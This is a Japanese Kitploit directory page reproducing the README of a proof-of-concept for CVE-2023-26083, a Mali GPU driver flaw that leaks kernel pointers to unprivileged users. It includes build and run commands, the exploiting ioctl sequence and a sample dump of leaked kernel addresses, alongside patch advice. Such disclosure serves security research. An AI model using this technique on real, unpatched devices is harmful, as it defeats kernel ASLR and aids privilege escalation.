Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-26083 — CVE-2023-26083-Mali-InfoLeak-PoC | Kitploit
ツール/GitHubGitHub/noverisp3/cve-2023-26083
Vulnerability AnalysisExploitationInformation GatheringHardware & IoT SecurityLearning & EducationBinary Exploitation
GitHubnoverisp3/cve-2023-26083

CVE-2023-26083

CVE-2023-26083-Mali-InfoLeak-PoC

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-26083 – タイムラインストリームを介したMali GPUカーネルアドレス漏洩

このリポジトリには、CVE-2023-26083 の概念実証(PoC)エクスプロイトが含まれています。これはMali GPUドライバ(Arm Mali GPU Kernel Driver)の脆弱性であり、特権のないユーザーがタイムラインストリーム(/dev/mali0)を介してカーネルポインタや機密内部情報を漏洩することを可能にします。

脆弱性の概要

Mali GPUドライバは、プロファイリングとデバッグのために「タイムラインストリーム(tlstream)」機能を提供します。このストリームは、生のカーネルポインタ(例:kbase_context、kbase_gpu、kbase_lpu、アドレス空間、アトムなどのアドレス)を含むイベントをエクスポートします。通常、このストリームへのアクセスにはBASE_CONTEXT_CREATE_FLAG_MONITORフラグが必要です。しかし、KBASE_IOCTL_TLSTREAM_ACQUIREハンドラでの権限チェックが欠如しているため、任意のプロセス(モニタフラグがなくても)がタイムラインストリームへのファイル記述子を取得し、カーネルメモリアドレスを読み取ることができます。

影響:

  • カーネルポインタの漏洩はカーネルASLR(KASLR)を無効化します。
  • 他の脆弱性(例:使用後解放、任意書き込み)と組み合わせることで、権限昇格や任意のカーネルコード実行につながる可能性があります。
  • 漏洩自体が内部ドライバの状態を公開し、フィンガープリントに利用される可能性があります。

影響を受けるバージョン

  • CVE-2023-26083の修正前のArm Mali GPU Kernel Driverバージョン。

ビルドと実行

前提条件

  • Mali GPUを搭載したデバイス(例:Exynos、MediaTek、一部のRockchip SoC)。
  • ルートアクセスは不要です – PoCは特権のないユーザーとして動作します。
  • カーネルにMaliドライバが組み込まれているか、モジュールとしてロードされている必要があります(/dev/mali0が存在すること)。

コンパイル

コードは自己完結型でスタンドアロンであるため、標準ツールを使用して簡単にクロスコンパイルできます。

1. Android向け(推奨)

Android NDKツールチェーンを使用してARM64デバイス向けにコンパイルします。異なるAndroidバージョンでの動的リンカの互換性問題を防ぐために、静的リンクを使用することを強く推奨します。

root@kitploit:~
aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c

2. ARMベースのLinuxデスクトップ/ボード向け

Mali GPUを搭載し、標準のLinuxディストリビューションを実行するARM開発ボード(Raspberry PiやOdroidなど)でテストする場合:

root@kitploit:~
gcc -static -o mali_tlstream_leak mali_tlstream_leak.c

実行

root@kitploit:~
./mali_tlstream_leak

プログラムは次の処理を行います:

  1. /dev/mali0をオープンします。
  2. バージョンチェックを実行します。
  3. フラグをBASE_CONTEXT_CREATE_FLAG_NONE(モニタ特権なし)に設定します。
  4. タイムラインストリームを取得します(脆弱なioctl)。
  5. 数秒間タイムラインパケットを読み取ります。
  6. カーネルポインタの漏洩を解析して表示します(*** KERNELでマークされます)。

出力例

注: この概念実証(PoC)は、2020年4月1日のセキュリティパッチレベルでAndroid 8.1.0(カーネル3.18)を実行しているSamsung Galaxy J7 Primeでのみテストされました。

root@kitploit:~
on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)

Raw hex dump (3805 bytes):

0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54

Parsing packets:

Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0

Packet at offset 2793: family=TL class=OBJ type=SUMMARY stream=1 len=1004 numbered=0
  [NEW_LPU] (ts=104596762668116, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL val1=0 val1=526
  [NEW_LPU] (ts=104596762668539, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL val1=1 val1=510
  [NEW_LPU] (ts=104596762669039, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL val1=2 val1=126
  [NEW_AS] (ts=104596762669654, 12 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL val1=0
  [NEW_AS] (ts=104596762670078, 12 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL val1=1
  [NEW_AS] (ts=104596762670347, 12 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL val1=2
  [NEW_AS] (ts=104596762670539, 12 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL val1=3
  [NEW_AS] (ts=104596762670847, 12 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL val1=4
  [NEW_AS] (ts=104596762671001, 12 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL val1=5
  [NEW_AS] (ts=104596762671154, 12 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL val1=6
  [NEW_AS] (ts=104596762671462, 12 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL val1=7
  [NEW_GPU] (ts=104596762671808, 16 bytes payload) ptr0=0xffffffc0baeac000 *** KERNEL val1=137363472 val1=1
  [LIFELINK_LPU_GPU] (ts=104596762671962, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_LPU_GPU] (ts=104596762672385, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_LPU_GPU] (ts=104596762672578, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762672924, 16 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673116, 16 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673385, 16 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673539, 16 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673847, 16 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674001, 16 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674154, 16 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674462, 16 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [NEW_CTX] (ts=104596762674962, 16 bytes payload) ptr0=0xffffff802619e000 *** KERNEL val1=194 val1=12465
  [NEW_CTX] (ts=104596762675654, 16 bytes payload) ptr0=0xffffff8025e13000 *** KERNEL val1=193 val1=12116
  [NEW_CTX] (ts=104596762676385, 16 bytes payload) ptr0=0xffffff8025bb3000 *** KERNEL val1=192 val1=11342
  [NEW_CTX] (ts=104596762677154, 16 bytes payload) ptr0=0xffffff801de1f000 *** KERNEL val1=156 val1=24216
  [NEW_CTX] (ts=104596762677885, 16 bytes payload) ptr0=0xffffff801db73000 *** KERNEL val1=150 val1=29044
  [NEW_CTX] (ts=104596762678616, 16 bytes payload) ptr0=0xffffff80224ce000 *** KERNEL val1=145 val1=6525
  [NEW_CTX] (ts=104596762679693, 16 bytes payload) ptr0=0xffffff801f1f2000 *** KERNEL val1=47 val1=3367
  [NEW_CTX] (ts=104596762680385, 16 bytes payload) ptr0=0xffffff801e187000 *** KERNEL val1=36 val1=23263
  [NEW_CTX] (ts=104596762681385, 16 bytes payload) ptr0=0xffffff80243c5000 *** KERNEL val1=26 val1=15858
  [NEW_CTX] (ts=104596762682193, 16 bytes payload) ptr0=0xffffff8020cff000 *** KERNEL val1=24 val1=4256
  [NEW_CTX] (ts=104596762682885, 16 bytes payload) ptr0=0xffffff801f221000 *** KERNEL val1=15 val1=10645
  [NEW_CTX] (ts=104596762683654, 16 bytes payload) ptr0=0xffffff801dbca000 *** KERNEL val1=3 val1=2976
  [NEW_CTX] (ts=104596762684501, 16 bytes payload) ptr0=0xffffff802b375000 *** KERNEL val1=2 val1=3409
  [NEW_CTX] (ts=104596762685039, 16 bytes payload) ptr0=0xffffff8020d88000 *** KERNEL val1=0 val1=2613

示されているように、PoCは複数のカーネルアドレスを正常に漏洩します:

  • LPU(論理処理ユニット)オブジェクト
  • アドレス空間(AS)オブジェクト
  • GPUオブジェクト
  • コンテキストオブジェクト(kbase_context)

コードの説明

主要な手順は次のとおりです:

  1. /dev/mali0をオープン – 標準のMaliデバイスインターフェース。
  2. KBASE_IOCTL_VERSION_CHECK – ドライバコンテキストを初期化するために必要。
  3. KBASE_IOCTL_SET_FLAGS – create_flagsをBASE_CONTEXT_CREATE_FLAG_NONE(モニタ特権なし)に設定。
    通常、これによりtlstreamアクセスがブロックされるはずですが、バグによりバイパスが可能です。
  4. KBASE_IOCTL_TLSTREAM_ACQUIRE – タイムラインストリームの新しいファイル記述子を取得。
    モニタフラグがないにもかかわらず、ioctlは有効なfdを返します。
  5. read() – 生のタイムラインパケットを読み取ります。
  6. パーサー – パケットヘッダとタイムラインイベントメッセージをデコードし、カーネルポインタを抽出します。

緩和策 / パッチ

カーネルをCVE-2023-26083の修正を含むバージョンに更新してください。
または、製造元の場合は、ArmまたはLinuxカーネル安定版ツリーからのパッチを適用してください。

免責事項

このコードは教育およびセキュリティ研究目的でのみ提供されています。
明示的な許可なくこのエクスプロイトをシステムで使用すると、該当する法律に違反する可能性があります。著者は、このソフトウェアによって引き起こされた誤用または損害について一切の責任を負いません。自分が所有するデバイス、またはテストするための書面による許可を得たデバイスでのみ使用してください。

参考文献

  • CVE-2023-26083
  • NIST NVD - CVE-2023-26083

著者

Noveris

ツールをダウンロード